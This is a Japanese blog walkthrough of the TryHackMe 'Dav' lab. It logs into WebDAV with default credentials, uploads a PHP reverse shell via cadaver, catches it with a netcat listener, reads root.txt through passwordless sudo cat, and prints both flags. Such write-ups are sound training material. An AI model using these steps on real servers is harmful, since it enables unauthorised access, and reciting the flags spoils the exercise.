LoginSignup
0
0

概要

TryHackMe「Dav」のWalkthroughです。

Task1

Q1.user.txt

nmapでポートスキャンを実行します。

$ nmap -Pn -sC -A -T4 -sV -p- 10.10.100.237 -oN nmap_result
Nmap scan report for 10.10.100.237
Host is up (0.24s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT      STATE    SERVICE VERSION
80/tcp    open     http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
34578/tcp filtered unknown

ポートの稼働状況が分かりました。

ポート サービス バージョン
80 http Apache httpd 2.4.18

ディレクトリの列挙を行います。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.100.237/FUZZ -recursion -recursion-depth 1 -ic -c
                        [Status: 200, Size: 11321, Words: 3503, Lines: 376, Duration: 1716ms]
webdav                  [Status: 401, Size: 460, Words: 42, Lines: 15, Duration: 237ms]

/webdavではBasic認証が実装されていました。

webdav basic.png

ApacheのWebDavモジュールが使用されている可能性がります。
webdav default credentialsなどで検索するとデフォルトのクレデンシャル情報を発見しました。

user: wampp,pass: xamppでログイン出来ました。

webdav.png

passwd.davファイルにはwamppのパスワードハッシュ値があります。

password.png

John The Ripperで解析を試みましたが成功しませんでした。

$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:59 DONE (2024-06-23 21:22) 0g/s 235668p/s 235668c/s 235668C/s  ejngyhga007..*7¡Vamos!
Session completed.

他にWebDavではPUTメソッドを用いたリバースシェルが実行可能だと分かりました。

cadaverを用いてリバースシェルファイルをアップロードします。

PHPのリバースシェルペイロードをアップロードしました。

$ cadaver http://10.10.189.24/webdav
Authentication required for webdav on server `10.10.189.24':
Username: wampp
Password: 
dav:/webdav/> put /home/kali/Dav/php-reverse-shell.php
Uploading /home/kali/Dav/php-reverse-shell.php to `/webdav/php-reverse-shell.php':
Progress: [=============================>] 100.0% of 5493 bytes succeeded.

Netcatでリッスンし、http://<ip>/webdav/php-reverse-shell.phpへアクセスするとシェルを取得できました。

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.189.24] 57864
Linux ubuntu 4.4.0-159-generic #187-Ubuntu SMP Thu Aug 1 16:28:06 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 19:03:31 up 6 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

/home/merlin/user.txtファイルからフラグを入手できました。

$ cat /home/merlin/user.txt
449b40fe93f78a938523b7e4dcd66d2a

A.449b40fe93f78a938523b7e4dcd66d2a

Q2.root.txt

sudo -lで確認すると/bin/catコマンドがパスワードなしのroot権限で実行できるので/root/root.txtからフラグを入手できました。

$ sudo /bin/cat /root/root.txt
101101ddc16b0cdf65ba0b8a7af7afa5

A.101101ddc16b0cdf65ba0b8a7af7afa5

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0